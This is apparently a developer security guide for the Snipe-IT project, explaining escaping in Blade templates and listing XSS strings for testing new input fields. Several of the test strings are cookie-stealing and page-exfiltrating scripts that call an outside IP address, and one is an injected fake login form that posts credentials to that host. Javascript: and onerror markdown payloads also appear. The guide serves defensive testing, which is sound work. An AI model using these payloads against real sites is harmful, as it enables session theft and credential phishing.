Any contributions should go through at least basic security testing to ensure nothing is added that creates vulnerabilities for XSS, CSRF, privilege escalation attacks, etc.

While Snipe-IT already utilizes many security measures in the product itself (CSPs, using HTTPOnly cookies to prevent JavaScript from reading the content of the cookie, making it harder for an attacker to steal the session, etc), it is also the responsibility of every developer who contributes to this project to make sure they're not introducing any new issues.

We generally store text as-is in the database and then escape on the way out. This is very easily done in blades using the escape syntax ({{ $foo }}), however there are a few cases where we use the unescaped output format ({!! $foo !!}.)

We'd normally only do this when we have to include HTML in a translation (a link, for example), we must be extremely careful that we never pass any un-escaped text through. Our translations are carefully vetted, however in cases where we pass a variable to a translation string, we always need to be sure to escape the variables we pass to the translation, for example, if our translation string looks like this:

'foo' => 'Foo is equal to :bar',

And we invoke it in the API or a blade as {!! trans('general.foo, ['bar' => $bar->value]) !!}, we need to make sure we escape it properly there, as {!! trans('general.foo, ['bar' => e($bar->value])) !!}, otherwise the user-entered value of $bar->value that was pass to the translation could potentially expose the end-user to an XSS attack since we'd otherwise just be blindly echoing out whatever the user has set for $bar->value.

XSS Examples in Regular Text

All user-inputted text tests should be checked for XSS vulnerabilities. If you're adding a new field for some reason, one of the tests you should always should use the following types of example text to make sure you have not introduced any new vulnerabilities:

  • http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
  • <script>new Image().src="https://192.165.159.122/fakepg.php?output="+document.cookie;</script>
  • <script> var xhr = new XMLHttpRequest(); xhr.open('POST','http://localhost:81/DVWA/vulnerabilities/xss_s/',true); xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xhr.send('txtName=xss&mtxMessage=xss&btnSign=Sign+Scrapbook'); </script>
  • http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.165.159.122>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>
  • <script>new Image().src="https://192.165.159.122/ fakepg.php?output="+document.body.innerHTML</script>
  • <a href="javascript:alert('XSS')">Click Me</a>

You can read more about these types of attacks on the OWASP XSS cheatsheet page, here and here.

XSS in Markdown

Certain fields do allow markdown (EULA, dashboard, footer branding, and a few other places) so we also have to test this with markdown info as well.

  • [Click Me](javascript:alert('Oh no Markdown...'))
![Uh oh...]("onerror="alert('XSS'))

You can learn more about XSS in markdown here and here.

🚧

If you're doing development work, you probably have the debug bar enabled. This debugger can sometimes cause false positives, so if you're sure you're escaping content properly, temporarily turn off the debug bar and try to reproduce again.

Testing this stuff takes a little extra time (and we're working on a package to hopefully have an easy way to seed your test Snipe-IT database with lots of poisoned content to make it easier notice these things quickly) but it's critical to make sure Snipe-IT stays as secure as it's so known for being.